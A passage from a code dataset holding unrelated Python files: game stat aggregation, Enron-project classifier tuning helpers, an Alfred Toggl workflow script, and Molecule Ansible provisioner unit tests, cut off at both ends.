Stats(\n pop,\n dip,\n mil,\n prd,\n )\n\n def genKingdomStats(self, kingdom):\n pop = 0\n dip = 0\n mil = 0\n prd = 0\n\n for biome in kingdom.biomes:\n pop += biome.stats.pop\n dip += biome.stats.dip\n mil += biome.stats.mil\n prd += biome.stats.prd\n\n return Stats(\n pop,\n dip,\n mil,\n prd,\n )\n","repo_name":"youhengzhou/TheSimsPy","sub_path":"prototype/WorldRPG/lib/locale.py","file_name":"locale.py","file_ext":"py","file_size_in_byte":8241,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24162079306","text":"#!/usr/bin/python\n\nimport sys\nimport numpy as np\nimport pandas as pd\nsys.path.append(\"../tools/\")\nimport tester\n\nfrom feature_format import featureFormat, targetFeatureSplit\nfrom sklearn.feature_selection import SelectKBest, f_classif, mutual_info_classif\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.feature_selection import RFECV\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import GridSearchCV, StratifiedShuffleSplit\nfrom sklearn.preprocessing import StandardScaler\n\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neural_network import MLPClassifier\n\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\n\ndef dict_to_df(dt_dict):\n \"\"\"\n 1. Turn dictionary to dataframe\n 2. convert NaN strings to dataframe NaN's\n \"\"\"\n \n ## Turn dictionary to DataFrame\n df = pd.DataFrame.from_dict(data=dt_dict, orient = \"index\")\n df = df.replace('NaN',np.nan) ## Replace string 'NaN' by np.nan\n\n ## Reset dataframe row index\n df = df.reset_index()\n df['name']=df['index']\n df['index'] = df.index\n\n ## Create a deep copy for replacing operation.\n df1 = df.copy(deep = True)\n \n return df1\n\ndef df_to_dict(df):\n \"\"\"\n convert dataframe to dictionary;\n drop unnecessary columns.\n \"\"\"\n df1 = df.drop(['index', 'email_address'], axis=1)\n df1.index = list(df['name'])\n df2 = df1.drop([\"name\"], axis = 1)\n result = df2.to_dict('index')\n return result\n\ndef missing_per_feature(df, feature = \"poi\"):\n \n \"\"\"\n Print missing values per feature and per person\n \"\"\"\n \n poi_true = df[feature]==True\n poi_false = df[feature]==False \n \n result = \\\n pd.DataFrame({\"perc_missing_total\": df.isnull().sum()/float(df.shape[0]),\\\n \"perc_missing_{}_True\".format(feature): df[poi_true].isnull().sum()/float(df[poi_true].shape[0]),\\\n \"perc_missing_{}_False\".format(feature): df[poi_false].isnull().sum()/float(df[poi_false].shape[0])}).\\\n sort_values(['perc_missing_total'], ascending = False)\n \n return result\n\ndef missing_per_person(df):\n \n result = pd.concat([pd.Series(map(lambda x: df.loc[x,:].isnull().sum(), df['index'])),df['name']], axis = 1)\n result.columns.values[0] = 'n_nulls'\n result['perc_features_missing'] = result[\"n_nulls\"]/float((df.shape[1]-2))\n \n return result.sort_values([\"n_nulls\"], ascending = False)\n\n\ndef add_feature(d, newf, op, *args):\n \"\"\"\n Create new features.\n \n Arguments of the function:\n d: data dictionary.\n args: input features\n newf: the resulting new feature\n op: operation, either \"+\" or \"/\"\n \n Output: a data dictionary with the new feature added.\n \"\"\"\n li = list(args)\n if op == \"+\":\n for person in d:\n d[person][newf] = d[person][li[0]] + d[person][li[1]]\n # print d[person][newf]\n if op == \"/\":\n if len(li) == 2:\n t1 = li[0]\n t2 = li[1]\n for person in d:\n if d[person][t2] == 0:\n d[person][newf] = 0.0\n else:\n d[person][newf] = d[person][t1] / float(d[person][t2])\n # print d[person][newf]\n if len(li) == 4:\n t1 = li[0]\n t2 = li[1]\n t3 = li[2]\n t4 = li[3]\n for person in d:\n if d[person][t3] + d[person][t4] == 0:\n d[person][newf] = 0.0\n else:\n d[person][newf] = (d[person][t1] + d[person][t2]) / float(d[person][t3]+d[person][t4])\n # print d[person][newf]\n return d\n\ndef getKbest(dt_dict, features_list, score_function, change_scale = False, K = 10):\n \"\"\"\n Return the k most important features by SelectKBest\n \"\"\"\n # Get values of all features.\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n # Split labels (poi) and other features\n labels, features = targetFeatureSplit(data)\n \n # feature list, without the dependent variable poi\n feat = features_list[1:]\n \n if change_scale == True:\n # Set up the scaler\n scaler = MinMaxScaler()\n features = scaler.fit_transform(features) \n \n if score_function == f_classif:\n\n selector = SelectKBest(f_classif, k=K)\n \n elif score_function == mutual_info_classif:\n \n def my_score(X, y):\n \"\"\"\n The result of mutual_info_classif depends upon the random_state.\n \"\"\"\n return mutual_info_classif(X, y, random_state=0)\n \n selector = SelectKBest(my_score, k=K)\n \n fitted = selector.fit(features, labels)\n \n scores = fitted.scores_\n # print scores\n supports = fitted.get_support(indices = False)\n # print supports\n # print feat\n new_features = []\n \n new_scores = []\n \n for support_i, feature_i, score_i in zip(supports, feat, scores):\n if support_i:\n new_features.append(feature_i)\n new_scores.append(score_i)\n\n result = pd.DataFrame({\"feature\": new_features, \"score\": new_scores}) # , \"ranking\": range(1,16,1)\n\n return result.sort_values(by=[\"score\"], ascending = False)\n\n\n###############################\n## Part 3 Algorithm tuning\n###############################\n\n## Tune AdaBoost\n\ndef tune_AdB(dt_dict, features_list, scaler, mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeline and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n adb = Pipeline([('scaler', MinMaxScaler()),\n ('adb', AdaBoostClassifier())])\n else:\n adb = Pipeline([('adb', AdaBoostClassifier())])\n\n param_grid = {'adb__n_estimators': range(10,80,10),\n 'adb__random_state':[0],\n 'adb__learning_rate': [0.001, 0.05, 0.1, 0.3, 0.5,0.7,0.9, 1]}\n\n clf_adb = GridSearchCV(adb, param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n tester.test_classifier(clf_adb, dt_dict, features_list)\n\n return\n\n## Tune GaussianNB\n\ndef tune_GNB(dt_dict, features_list, scaler, mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeline and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n gnb = Pipeline([('scaler', MinMaxScaler()),\n ('gnb', GaussianNB())])\n else:\n gnb = Pipeline([('gnb', GaussianNB())])\n\n param_grid = {\"gnb__var_smoothing\": [1e-6,1e-3, 0.1, 1,1.5, 2]}\n\n clf_gnb = GridSearchCV(gnb,param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n tester.test_classifier(clf_gnb, dt_dict, features_list)\n\n return\n\n## Tune Neural network\n\ndef tune_MLP(dt_dict, features_list, scaler, mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeline and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n mlp = Pipeline([('scaler', MinMaxScaler()),\n ('mlp', MLPClassifier())])\n else:\n mlp = Pipeline([('mlp', MLPClassifier())])\n\n param_grid = {'mlp__random_state':[0],\n 'mlp__activation':[\"relu\", \"logistic\", \"tanh\"],\n 'mlp__solver':[\"lbfgs\"],\n 'mlp__alpha':np.linspace(0.00001,0.1,20),\n 'mlp__hidden_layer_sizes':[(20,30,40), (15,20,30)]}\n\n clf_mlp = GridSearchCV(mlp, param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n tester.test_classifier(clf_mlp, dt_dict, features_list)\n\n return\n\n## Logistic regression\n\ndef tune_LgR(dt_dict, features_list, scaler, mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeline and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n lgr = Pipeline([('scaler', MinMaxScaler()),\n ('lgr', LogisticRegression())])\n else:\n lgr = Pipeline([('lgr', LogisticRegression())])\n\n param_grid = {\"lgr__fit_intercept\":[True, False],\n \"lgr__C\": [10,2,1.5,1,0.8,0.5,0.2,0.1,1e-1,1e-2,1e-3,1e-4],\n \"lgr__random_state\":[0]}\n\n clf_lgr = GridSearchCV(lgr,param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n tester.test_classifier(clf_lgr, dt_dict, features_list)\n\n return\n\n\n## Tune Random forest.\ndef tune_RdF(dt_dict, features_list, scaler, mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeleine and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n rf = Pipeline([('scaler', MinMaxScaler()),\n ('rf', RandomForestClassifier())])\n else:\n rf = Pipeline([('rf', RandomForestClassifier())])\n\n param_grid = {'rf__n_estimators': range(10,110,10),\n 'rf__min_samples_split' :[2,3,4,5],\n 'rf__min_samples_leaf' : [1,2,3],\n 'rf__random_state':[0],\n 'rf__max_features':[None]}\n\n clf_rf = GridSearchCV(rf,param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n tester.test_classifier(clf_rf, dt_dict, features_list)\n\n return\n\n## Tune Support Vector Machines\ndef tune_SVC(dt_dict, features_list, scaler,mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeline and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n svc = Pipeline([('scaler', MinMaxScaler()),\n ('svc', SVC())])\n else:\n svc = Pipeline([('svc', SVC())])\n\n param_grid = {'svc__C': [1, 1e2, 1e3, 1e4],\n 'svc__gamma': [0.0001, 0.0005, 0.001, 0.005, 0.01, 0.1 ],\n 'svc__degree': [1, 2, 3],\n 'svc__kernel':[\"linear\",\"poly\",\"rbf\",\"sigmoid\"],\n \"svc__random_state\":[0]}\n\n clf_svc = GridSearchCV(svc,param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n tester.test_classifier(clf_svc, dt_dict, features_list)\n\n return\n\n## my classifier result \n\n## Tune AdaBoost\n\ndef my_classifier_AdB(dt_dict, features_list, scaler, mycv):\n \"\"\"\n Fit and Print optimal parameter grid by Pipeline and GridSearchCV.\n \"\"\"\n # Keep only features from features_list\n data = featureFormat(dt_dict, features_list, sort_keys=True)\n \n labels, features = targetFeatureSplit(data)\n\n if scaler:\n adb = Pipeline([('scaler', MinMaxScaler()),\n ('adb', AdaBoostClassifier())])\n else:\n adb = Pipeline([('adb', AdaBoostClassifier())])\n\n param_grid = {'adb__n_estimators': range(10,80,10),\n 'adb__random_state':[0],\n 'adb__learning_rate': [0.001, 0.05, 0.1, 0.3, 0.5,0.7,0.9, 1]}\n\n clf_adb = GridSearchCV(adb, param_grid, scoring = 'f1', cv = mycv, iid=True).fit(features, labels).best_estimator_\n\n return clf_adb\n\n\n\n## log function\ndef log0(x):\n if x == 0:\n return 0\n else:\n return math.log(x)\n\nvlog0 = np.vectorize(log0)\n\nvlog0([0,0])\n\n#map(log0, array([0,0]))\n\n\n","repo_name":"brbisheng/Udacity_Projects","sub_path":"Data_Analyst_Project_5/final_project/myhelpers.py","file_name":"myhelpers.py","file_ext":"py","file_size_in_byte":12005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73815700033","text":"import sys\n\nfrom workflow import Workflow, ICON_INFO\nfrom workflow.background import run_in_background, is_running\n\ndef main(wf):\n query = None\n if len(sys.argv) > 1:\n query = sys.argv[1]\n\n task_project = wf.stored_data('task_project')\n\n if not wf.cached_data_fresh('time_entries', max_age=600) or task_project is None:\n cmd = ['/usr/bin/python', wf.workflowfile('update_toggl_history.py')]\n run_in_background('update_toggl', cmd)\n\n if is_running('update'):\n wf.add_item('Getting toggl data',\n valid=False,\n icon=ICON_INFO)\n\n if task_project:\n tasks = sorted(task_project.keys(), key=lambda x: task_project[x]['start'], reverse=True)\n entries = wf.filter(query, tasks, min_score=30)\n\n wf.add_item(query, arg=query, valid=True)\n if not entries:\n wf.send_feedback()\n return 0\n\n for entry in entries:\n wf.add_item(title=entry, arg=entry, autocomplete=entry, valid=True)\n\n wf.send_feedback()\n\nif __name__ == '__main__':\n wf = Workflow()\n wf.run(main)\n","repo_name":"chpapa/alfred-toggl-workflow","sub_path":"toggl.py","file_name":"toggl.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21767669952","text":"import collections\nimport os\nimport re\nfrom test.a_unit.conftest import os_split\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom molecule import config, util\nfrom molecule.provisioner import ansible, ansible_playbooks\n\n\n@pytest.fixture()\ndef _patched_ansible_playbook(mocker):\n m = mocker.patch(\"molecule.provisioner.ansible_playbook.AnsiblePlaybook\")\n m.return_value.execute.return_value = b\"patched-ansible-playbook-stdout\"\n\n return m\n\n\n@pytest.fixture()\ndef _patched_write_inventory(mocker):\n return mocker.patch(\"molecule.provisioner.ansible.Ansible._write_inventory\")\n\n\n@pytest.fixture()\ndef _patched_remove_vars(mocker):\n return mocker.patch(\"molecule.provisioner.ansible.Ansible._remove_vars\")\n\n\n@pytest.fixture()\ndef _patched_link_or_update_vars(mocker):\n return mocker.patch(\"molecule.provisioner.ansible.Ansible._link_or_update_vars\")\n\n\n@pytest.fixture()\ndef _provisioner_section_data():\n return {\n \"provisioner\": {\n \"name\": \"ansible\",\n \"config_options\": {\"defaults\": {\"foo\": \"bar\"}},\n \"connection_options\": {\"foo\": \"bar\"},\n \"options\": {\"foo\": \"bar\", \"become\": True, \"v\": True},\n \"env\": {\n \"FOO\": \"bar\",\n \"ANSIBLE_ROLES_PATH\": \"foo/bar\",\n \"ANSIBLE_LIBRARY\": \"foo/bar\",\n \"ANSIBLE_FILTER_PLUGINS\": \"foo/bar\",\n },\n \"inventory\": {\n \"hosts\": {\n \"all\": {\n \"hosts\": {\"extra-host-01\": {}},\n \"children\": {\"extra-group\": {\"hosts\": [\"extra-host-01\"]}},\n },\n },\n \"host_vars\": {\n \"instance-1\": [{\"foo\": \"bar\"}],\n \"localhost\": [{\"foo\": \"baz\"}],\n },\n \"group_vars\": {\n \"example_group1\": [{\"foo\": \"bar\"}],\n \"example_group2\": [{\"foo\": \"bar\"}],\n },\n },\n },\n }\n\n\n@pytest.fixture()\ndef _instance(_provisioner_section_data, config_instance: config.Config):\n return ansible.Ansible(config_instance)\n\n\ndef test_profisioner_config_private_member(_instance):\n assert isinstance(_instance._config, config.Config)\n\n\ndef test_default_config_options_property(_instance):\n x = {\n \"defaults\": {\n \"ansible_managed\": \"Ansible managed: Do NOT edit this file manually!\",\n \"display_failed_stderr\": True,\n \"forks\": 50,\n \"host_key_checking\": False,\n # https://docs.ansible.com/ansible/devel/reference_appendices/interpreter_discovery.html\n \"interpreter_python\": \"auto_silent\",\n \"nocows\": 1,\n \"retry_files_enabled\": False,\n },\n \"ssh_connection\": {\n \"control_path\": \"%(directory)s/%%h-%%p-%%r\",\n \"scp_if_ssh\": True,\n },\n }\n\n assert x == _instance.default_config_options\n\n\ndef test_provisioner_default_options_property(_instance):\n assert {\"skip-tags\": \"molecule-notest,notest\"} == _instance.default_options\n\n\ndef test_ansible_default_env_property(_instance):\n x = _instance._config.provisioner.config_file\n\n assert x == _instance.default_env[\"ANSIBLE_CONFIG\"]\n assert \"MOLECULE_FILE\" in _instance.default_env\n assert \"MOLECULE_INVENTORY_FILE\" in _instance.default_env\n assert \"MOLECULE_SCENARIO_DIRECTORY\" in _instance.default_env\n assert \"MOLECULE_INSTANCE_CONFIG\" in _instance.default_env\n assert \"ANSIBLE_CONFIG\" in _instance.env\n assert \"ANSIBLE_ROLES_PATH\" in _instance.env\n assert \"ANSIBLE_LIBRARY\" in _instance.env\n assert \"ANSIBLE_FILTER_PLUGINS\" in _instance.env\n\n\ndef test_provisioner_name_property(_instance):\n assert _instance.name == \"ansible\"\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_config_options_property(_instance):\n x = {\n \"defaults\": {\n \"ansible_managed\": \"Ansible managed: Do NOT edit this file manually!\",\n \"display_failed_stderr\": True,\n \"foo\": \"bar\",\n \"forks\": 50,\n \"host_key_checking\": False,\n \"interpreter_python\": \"auto_silent\",\n \"nocows\": 1,\n \"retry_files_enabled\": False,\n },\n \"ssh_connection\": {\n \"control_path\": \"%(directory)s/%%h-%%p-%%r\",\n \"scp_if_ssh\": True,\n },\n }\n\n assert x == _instance.config_options\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_ansible_options_property(_instance):\n x = {\"become\": True, \"foo\": \"bar\", \"v\": True, \"skip-tags\": \"molecule-notest,notest\"}\n\n assert x == _instance.options\n\n\ndef test_ansible_options_property_does_not_merge(_instance):\n for action in [\"create\", \"destroy\"]:\n _instance._config.action = action\n\n assert {\"skip-tags\": \"molecule-notest,notest\"} == _instance.options\n\n\ndef test_provisioner_ansible_options_property_handles_cli_args(_instance):\n _instance._config.args = {\"debug\": True}\n x = {\n \"vvv\": True,\n \"become\": True,\n \"diff\": True,\n \"skip-tags\": \"molecule-notest,notest\",\n }\n\n assert x == _instance.options\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_provisioner_env_property(_instance):\n x = _instance._config.provisioner.config_file\n\n assert x == _instance.env[\"ANSIBLE_CONFIG\"]\n assert _instance.env[\"FOO\"] == \"bar\"\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_env_appends_env_property(_instance):\n x = _instance._get_modules_directories()\n x.append(\n util.abs_path(os.path.join(_instance._config.scenario.directory, \"foo\", \"bar\")),\n )\n assert x == _instance.env[\"ANSIBLE_LIBRARY\"].split(\":\")\n\n x = [\n _instance._get_filter_plugin_directory(),\n util.abs_path(\n os.path.join(\n _instance._config.scenario.ephemeral_directory,\n \"plugins\",\n \"filter\",\n ),\n ),\n util.abs_path(\n os.path.join(_instance._config.project_directory, \"plugins\", \"filter\"),\n ),\n util.abs_path(\n os.path.join(os.path.expanduser(\"~\"), \".ansible\", \"plugins\", \"filter\"),\n ),\n \"/usr/share/ansible/plugins/filter\",\n util.abs_path(os.path.join(_instance._config.scenario.directory, \"foo\", \"bar\")),\n ]\n assert x == _instance.env[\"ANSIBLE_FILTER_PLUGINS\"].split(\":\")\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_host_vars_property(_instance):\n x = {\"instance-1\": [{\"foo\": \"bar\"}], \"localhost\": [{\"foo\": \"baz\"}]}\n\n assert x == _instance.host_vars\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_group_vars_property(_instance):\n x = {\"example_group1\": [{\"foo\": \"bar\"}], \"example_group2\": [{\"foo\": \"bar\"}]}\n\n assert x == _instance.group_vars\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_hosts_property(_instance):\n hosts = {\n \"all\": {\n \"hosts\": {\"extra-host-01\": {}},\n \"children\": {\"extra-group\": {\"hosts\": [\"extra-host-01\"]}},\n },\n }\n\n assert hosts == _instance.hosts\n\n\ndef test_links_property(_instance):\n assert {} == _instance.links\n\n\ndef test_inventory_directory_property(_instance):\n x = os.path.join(_instance._config.scenario.ephemeral_directory, \"inventory\")\n assert x == _instance.inventory_directory\n\n\ndef test_inventory_file_property(_instance):\n x = os.path.join(\n _instance._config.scenario.inventory_directory,\n \"ansible_inventory.yml\",\n )\n\n assert x == _instance.inventory_file\n\n\ndef test_config_file_property(_instance):\n x = os.path.join(_instance._config.scenario.ephemeral_directory, \"ansible.cfg\")\n\n assert x == _instance.config_file\n\n\ndef test_playbooks_property(_instance):\n assert isinstance(_instance.playbooks, ansible_playbooks.AnsiblePlaybooks)\n\n\ndef test_provisioner_directory_property(_instance):\n result = _instance.directory\n parts = os_split(result)\n\n assert parts[-3:] == (\"molecule\", \"provisioner\", \"ansible\")\n\n\ndef test_playbooks_cleaned_property_is_optional(_instance):\n assert _instance.playbooks.cleanup is None\n\n\ndef test_playbooks_converge_property(_instance):\n x = os.path.join(_instance._config.scenario.directory, \"converge.yml\")\n\n assert x == _instance.playbooks.converge\n\n\ndef test_playbooks_side_effect_property(_instance):\n assert _instance.playbooks.side_effect is None\n\n\ndef test_check(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.check()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.converge,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.add_cli_arg.assert_called_once_with(\n \"check\",\n True,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_converge(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n result = _instance.converge()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.converge,\n _instance._config,\n False,\n )\n # NOTE(retr0h): This is not the true return type. This is a mock return\n # which didn't go through str.decode().\n assert result == b\"patched-ansible-playbook-stdout\"\n\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_converge_with_playbook(\n _instance,\n mocker: MockerFixture,\n _patched_ansible_playbook,\n):\n result = _instance.converge(\"playbook\")\n\n _patched_ansible_playbook.assert_called_once_with(\n \"playbook\",\n _instance._config,\n False,\n )\n # NOTE(retr0h): This is not the true return type. This is a mock return\n # which didn't go through str.decode().\n assert result == b\"patched-ansible-playbook-stdout\"\n\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_cleanup(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.cleanup()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.cleanup,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_destroy(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.destroy()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.destroy,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_side_effect(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.side_effect()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.side_effect,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_create(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.create()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.create,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_prepare(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.prepare()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.prepare,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_syntax(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.syntax()\n\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.converge,\n _instance._config,\n False,\n )\n _patched_ansible_playbook.return_value.add_cli_arg.assert_called_once_with(\n \"syntax-check\",\n True,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_verify(_instance, mocker: MockerFixture, _patched_ansible_playbook):\n _instance.verify()\n\n if _instance._config.provisioner.playbooks.verify:\n _patched_ansible_playbook.assert_called_once_with(\n _instance._config.provisioner.playbooks.verify,\n _instance._config,\n )\n _patched_ansible_playbook.return_value.execute.assert_called_once_with()\n\n\ndef test_ansible_write_config(temp_dir, _instance):\n _instance.write_config()\n\n assert os.path.isfile(_instance.config_file)\n\n\ndef test_manage_inventory(\n _instance,\n _patched_write_inventory,\n _patched_remove_vars,\n patched_add_or_update_vars,\n _patched_link_or_update_vars,\n):\n _instance.manage_inventory()\n\n _patched_write_inventory.assert_called_once_with()\n _patched_remove_vars.assert_called_once_with()\n patched_add_or_update_vars.assert_called_once_with()\n assert not _patched_link_or_update_vars.called\n\n\ndef test_manage_inventory_with_links(\n _instance,\n _patched_write_inventory,\n _patched_remove_vars,\n patched_add_or_update_vars,\n _patched_link_or_update_vars,\n):\n c = _instance._config.config\n c[\"provisioner\"][\"inventory\"][\"links\"] = {\"foo\": \"bar\"}\n _instance.manage_inventory()\n\n _patched_write_inventory.assert_called_once_with()\n _patched_remove_vars.assert_called_once_with()\n assert not patched_add_or_update_vars.called\n _patched_link_or_update_vars.assert_called_once_with()\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_add_or_update_vars(_instance):\n inventory_dir = _instance._config.scenario.inventory_directory\n\n host_vars_directory = os.path.join(inventory_dir, \"host_vars\")\n host_vars = os.path.join(host_vars_directory, \"instance-1\")\n\n _instance._add_or_update_vars()\n\n assert os.path.isdir(host_vars_directory)\n assert os.path.isfile(host_vars)\n\n host_vars_localhost = os.path.join(host_vars_directory, \"localhost\")\n assert os.path.isfile(host_vars_localhost)\n\n group_vars_directory = os.path.join(inventory_dir, \"group_vars\")\n group_vars_1 = os.path.join(group_vars_directory, \"example_group1\")\n group_vars_2 = os.path.join(group_vars_directory, \"example_group2\")\n\n assert os.path.isdir(group_vars_directory)\n assert os.path.isfile(group_vars_1)\n assert os.path.isfile(group_vars_2)\n\n hosts = os.path.join(inventory_dir, \"hosts\")\n assert os.path.isfile(hosts)\n assert util.safe_load_file(hosts) == _instance.hosts\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_add_or_update_vars_without_host_vars(_instance):\n c = _instance._config.config\n c[\"provisioner\"][\"inventory\"][\"host_vars\"] = {}\n inventory_dir = _instance._config.scenario.inventory_directory\n\n host_vars_directory = os.path.join(inventory_dir, \"host_vars\")\n host_vars = os.path.join(host_vars_directory, \"instance-1\")\n\n _instance._add_or_update_vars()\n\n assert not os.path.isdir(host_vars_directory)\n assert not os.path.isfile(host_vars)\n\n host_vars_localhost = os.path.join(host_vars_directory, \"localhost\")\n assert not os.path.isfile(host_vars_localhost)\n\n group_vars_directory = os.path.join(inventory_dir, \"group_vars\")\n group_vars_1 = os.path.join(group_vars_directory, \"example_group1\")\n group_vars_2 = os.path.join(group_vars_directory, \"example_group2\")\n\n assert os.path.isdir(group_vars_directory)\n assert os.path.isfile(group_vars_1)\n assert os.path.isfile(group_vars_2)\n\n hosts = os.path.join(inventory_dir, \"hosts\")\n assert os.path.isfile(hosts)\n assert util.safe_load_file(hosts) == _instance.hosts\n\n\ndef test_add_or_update_vars_does_not_create_vars(_instance):\n c = _instance._config.config\n c[\"provisioner\"][\"inventory\"][\"hosts\"] = {}\n c[\"provisioner\"][\"inventory\"][\"host_vars\"] = {}\n c[\"provisioner\"][\"inventory\"][\"group_vars\"] = {}\n inventory_dir = _instance._config.scenario.inventory_directory\n\n hosts = os.path.join(inventory_dir, \"hosts\")\n host_vars_directory = os.path.join(inventory_dir, \"host_vars\")\n group_vars_directory = os.path.join(inventory_dir, \"group_vars\")\n\n _instance._add_or_update_vars()\n\n assert not os.path.isdir(host_vars_directory)\n assert not os.path.isdir(group_vars_directory)\n assert not os.path.isfile(hosts)\n\n\n@pytest.mark.parametrize(\n \"config_instance\",\n [\"_provisioner_section_data\"],\n indirect=True,\n)\ndef test_remove_vars(_instance):\n inventory_dir = _instance._config.scenario.inventory_directory\n\n hosts = os.path.join(inventory_dir, \"hosts\")\n host_vars_directory = os.path.join(inventory_dir, \"host_vars\")\n host_vars = os.path.join(host_vars_directory, \"instance-1\")\n\n _instance._add_or_update_vars()\n assert os.path.isfile(hosts)\n assert os.path.isdir(host_vars_directory)\n assert os.path.isfile(host_vars)\n\n host_vars_localhost = os.path.join(host_vars_directory, \"localhost\")\n assert os.path.isfile(host_vars_localhost)\n\n group_vars_directory = os.path.join(inventory_dir, \"group_vars\")\n group_vars_1 = os.path.join(group_vars_directory, \"example_group1\")\n group_vars_2 = os.path.join(group_vars_directory, \"example_group2\")\n\n assert os.path.isdir(group_vars_directory)\n assert os.path.isfile(group_vars_1)\n assert os.path.isfile(group_vars_2)\n\n _instance._remove_vars()\n\n assert not os.path.isfile(hosts)\n assert not os.path.isdir(host_vars_directory)\n assert not os.path.isdir(group_vars_directory)\n\n\ndef test_remove_vars_symlinks(_instance):\n inventory_dir = _instance._config.scenario.inventory_directory\n\n source_group_vars = os.path.join(inventory_dir, os.path.pardir, \"group_vars\")\n target_group_vars = os.path.join(inventory_dir, \"group_vars\")\n os.mkdir(source_group_vars)\n os.symlink(source_group_vars, target_group_vars)\n\n _instance._remove_vars()\n\n assert not os.path.lexists(target_group_vars)\n\n\ndef test_link_vars(_instance):\n c = _instance._config.config\n 